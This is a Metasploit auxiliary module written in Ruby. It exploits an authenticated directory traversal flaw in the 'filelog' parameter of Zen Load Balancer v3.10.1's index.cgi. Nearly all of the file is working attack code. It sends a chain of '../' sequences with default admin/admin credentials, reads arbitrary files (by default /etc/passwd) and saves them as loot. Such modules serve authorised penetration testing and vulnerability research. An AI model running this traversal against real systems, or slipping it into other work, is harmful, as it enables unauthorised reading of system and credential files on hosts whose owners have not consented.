84 lines
2.5 KiB
Ruby
84 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Zen Load Balancer Directory Traversal',
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'Description' => %q{
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This module exploits a authenticated directory traversal vulnerability in Zen Load
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Balancer `v3.10.1`. The flaw exists in 'index.cgi' not properly handling 'filelog='
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parameter which allows a malicious actor to load arbitrary file path.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Basim Alabdullah', # Vulnerability discovery
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'Dhiraj Mishra' # Metasploit module
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],
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'References' => [
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['EDB', '48308']
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],
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'DisclosureDate' => '2020-04-10',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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Opt::RPORT(444),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
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OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']),
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OptString.new('TARGETURI', [true, 'The base URI path of the ZenConsole install', '/']),
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OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'admin']),
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OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'admin'])
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]
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)
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end
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def run_host(ip)
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filename = datastore['FILEPATH']
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traversal = '../' * datastore['DEPTH']
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.cgi'),
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'vars_get' =>
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{
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'id' => '2-3',
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'filelog' => "#{traversal}#{filename}",
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'nlines' => '100',
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'action' => 'See logs'
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},
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'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
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}, 25)
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unless res && res.code == 200
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print_error('Nothing was downloaded')
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return
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end
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print_good("#{peer} - Downloaded #{res.body.length} bytes")
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path = store_loot(
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'zenload.http',
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'text/plain',
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ip,
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res.body,
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filename
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)
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print_good("File saved in: #{path}")
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end
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end
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